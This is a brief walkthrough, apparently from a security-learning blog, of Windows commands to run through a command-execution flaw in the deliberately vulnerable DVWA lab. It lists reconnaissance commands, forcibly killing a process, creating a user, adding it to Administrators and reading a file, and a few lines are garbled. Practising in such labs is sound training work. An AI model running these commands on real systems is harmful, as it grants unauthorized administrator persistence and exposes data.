Command Execution Walkthrough on DVWAWindows

@mmar

Windows commands are different from windows. So, its better to learn the commands that can be useful if web application is running on a windows system

Commands

Hostname Whoami Tasklist Taskkill /PID 3112 /F //forcefully kills the processes dir c:\ net user net user test /add //add a new user net localgroup Administrators test /add //add test user to administrators net user test //to view the details of the user dir c:\ "pin.txt" or this command! Take pin.txt //to get content

type c:\"pin.txt" //to get the content of a file

THANKS